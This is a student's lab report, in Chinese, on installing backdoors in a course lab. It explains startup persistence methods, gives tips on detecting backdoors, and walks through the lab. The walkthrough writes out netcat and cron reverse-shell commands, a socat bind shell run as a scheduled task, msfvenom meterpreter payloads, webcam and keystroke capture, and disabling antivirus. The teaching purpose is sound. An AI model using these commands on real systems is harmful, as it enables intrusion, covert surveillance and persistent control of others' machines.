20232328 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1. 实验内容
- 问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 答:攻击者会先对目标系统进行漏洞扫描,查找存在的安全漏洞,如操作系统漏洞、应用程序漏洞等。如果系统存在漏洞,攻击者就可以利用该漏洞,通过网络向目标系统发送恶意代码,在目标系统上执行任意指令。攻击者可以借此在系统中植入后门程序,从而实现对系统的长期控制。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:
- Windows 系统
- 注册表自启动:恶意软件可以在 Windows 注册表的 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” 等位置添加键值对,指定恶意程序的路径,从而使后门程序随系统启动而自动启动。
- 定时任务启动:攻击者可以使用 “schtasks” 命令创建定时任务,每分钟运行一次指定路径下的脚本,从而启动后门程序。
- DLL 劫持:如果进程尝试加载一个 DLL 时没有指定 DLL 的绝对路径,攻击者就可以控制其中的某个目录,将恶意的 DLL 文件放到这个目录下,当进程加载该 DLL 时,恶意 DLL 便会被加载,从而执行恶意代码启动后门。
- WMI 启动:WMI 是微软基于 Web 的企业管理的实现版本,攻击者可以利用 WMI 与 Powershell 命令配合使用,通过执行 WQL 查询后,本地调用 Powershell 执行响应的代码,实现无文件攻击,启动后门程序。
- 粘滞键后门:在 Windows 系统中,连续按五次 Shift 键会激活粘滞键功能。攻击者可以替换粘滞键可执行文件 “sethc.exe” 为恶意程序,这样当用户按五次 Shift 键时,就会启动恶意程序,进而启动后门。
2.Linux 系统 - SSH 后门:攻击者可以修改 SSH 服务的配置文件,在其中添加一个允许特定用户无需密码登录的条目,或者修改 SSH 服务器的二进制文件以记录登录密码或执行恶意代码,当用户通过 SSH 登录时,后门程序就会被启动。
- SUID 后门:攻击者可以创建一个具有 SUID 权限的恶意程序,当普通用户运行这个程序时,程序会以文件所有者的权限执行恶意代码,例如创建一个具有 SUID 权限的 shell 脚本,用户执行脚本时就会启动后门。
- Crontab 计划任务:攻击者可以通过 “crontab -e” 命令编辑 crontab 文件,在其中添加任务,
- PAM 后门:攻击者可以修改 PAM 配置文件或者替换 PAM 模块,使得在用户认证过程中执行恶意代码或者绕过认证。
(3)Meterpreter有哪些给你映像深刻的功能?
- 答:远程控制功能,Meterpreter允许攻击者通过网络与远程受感染的计算机建立连接,并获取对该计算机的完全控制权限。比如本次实验,可以用webcam_snap命令获取摄像头视频或照片的功能,可以用record_mic录制目标设备麦克风音频等等。
(4)如何发现自己有系统有没有被安装后门?
答:在windows系统下,可以检查以下几个方面:
-
自启动与进程:用任务管理器看启动项、资源监视器查网络连接,注册表(Run 路径)和 msconfig 找陌生程序。
-
账户与权限:lusrmgr.msc 和 net user 命令,查陌生或隐藏的管理员账户。
-
计划任务与服务:taskschd.msc 看异常任务,services.msc 查无厂商信息的模糊服务。
-
关键文件:检查 sethc.exe、cmd.exe 等系统文件是否被替换、路径异常。
-
实验知识
- ncat
- 1.核心功能:
- 建立 TCP/UDP 连接,实现端口扫描(ncat -zv 目标IP 端口范围)。
- 传输文件
- 搭建简单聊天或反向连接
- 2.特点:
- 跨平台(Windows/Linux)
- 体积小、无复杂依赖
- 适合快速执行基础网络任务,需手动配置才能实现类似后门的交互。
2.实验过程
2. socat
2.1核心功能:
- 协议转换(如 TCP 转 UDP、IPv4 转 IPv6)。
- 端口转发与代理(如 socat TCP-LISTEN:8080,fork TCP:目标IP:80 实现端口映射)。
- 建立加密连接,规避常规检测。
2.2特点:
- 支持更多参数配置,能处理复杂网络场景
- Meterpreter
3.1核心功能:
- 全功能远程控制:获取目标系统 Shell、查看进程、上传 / 下载文件、截屏、录屏。
- 权限提升:内置多种提权脚本,可从普通用户权限升级为系统管理员权限。
- 隐蔽性:默认采用内存驻留(不落地生成文件),支持规避杀毒软件检测(如通过编码、混淆)。
- 横向渗透:可通过目标机跳板,攻击同一局域网内的其他设备(如利用 psexec 模块)。
3.2特点:
- 仅用于渗透测试(需授权),依赖 Metasploit 框架,功能高度集成
2.实验过程
在主机上用ipconfig
查看Windows的主机IP
主机IP为172.6.178.172
在Kali虚拟机中用root用户使用ifconfig
查看Kali虚拟机IP
Kali虚拟机IP为192.168.211.131
一、使用netcat获取主机操作Shell,获取cron
- 在主机中获取虚拟机shell
在主机中使用ncat -l -p 2426
监听本机的2426端口,等待其他客户端连接到当前设备的2426端口;
在kali端使用命令nc 172.16.178.172 2426 -e /bin/sh
连接到win;
完成连接
kali桌面存在该文件
- 在虚拟机中获取主机shel
在虚拟机中用nc -l -p 2426
监听主机2426端口
在主机中用ncat -e cmd 192.168.211.131 2426
,成功获取到主机shel
- 在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务
在最后一行添加25 * * * * nc 172.16.178.172 2426 -e /bin/sh
,即在每个小时的第25分钟反向连接Windows主机的2426端
二、使用socat获取主机操作Shell,任务计划启动
在Windows中打开计算机管理,选择任务计划程序,在任务计划程序中创建任务,并新建触发器
操作设置为启动程序socat.exe
,并添加参数tcp-listen:3581 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口3581,同时把cmd.exe的stderr重定向
创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:192.168.31.112:3581
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的3581端口,此时可以发现已经成功获得了一个cmd shell(这里换了WiFi,所以主机地址改变为192.168.31.112)
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上生成后门可执行程序
20232328_backdoor.exe
在kali上输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 -f exe > 20232328_backdoor.exe
在Windows上打开监听ncat.exe -lv 3581 > 20232328_backdoor.exe
在Kali上用nc 172.16.223.52 3581 < 20232328_backdoor.exe
将生成的20232328_backdoor.exe后门程序传过去,下图为在windows文件夹中找到20232328_backdoor.exe后门程序
在Kali上使用msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.211.131
,这里用的是LinuxIP,和生成后门程序时指定的IP相同 -
set LPORT 3581
,同样要使用相同的端口
接着输入exploit
进行监听,在Windows在打开20232328_backdoor.exe后成功获取到Windows的shell
然后就会出现
这个问题在后面问题解决中呈现,下面展示的是成功后的截图
这个时候会发现died,然后根据同学的资料进行配置后终于成功!
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
webcam_snap
指令可以使用摄像头进行拍照
下面是拍的照片
- 输入
keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 在kali中新加入一个pwn1,改名为pwn2328
- 通过
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.211.131 LPORT=3581 -x ./pwn2328 -f elf > 20232328_pwn_backdoor
生成新的带后门文件
- 通过
a+x 20232328_pwn_backdoor
为文件赋予可执行权限
- 通过
ls -l 20232328_pwn_backdoor
验证权限,开头显示"-rwxr-xr-x"即成功
- 新建一个kali终端,启动msfconsole并配置监听,等待后门触发连接
输入下面的代码: msfconsole
use exploit/multi/handler
set LHOST 192.168.211.131
set LPORT 3581
exploit
- 在原先的shell中运行文件./20232328_pwn_backdoor。再在新的shell中,输入ls,验证有效性
实验遇到的问题及解决方法
- 问题一:在windows主机上无法运行后面程序
解决办法:
- 在kali中对后门程序进行复制,然后在windows主机上粘贴。但粘贴以后会被查为病毒软件,关闭防火墙以后会出现如下图问题
-
然后再联想的电脑管家中关闭病毒选项后就可以运行
-
问题二:Kali虚拟机在 Meterpreter 会话建立后,它立刻就关闭了,关闭的原因是 Died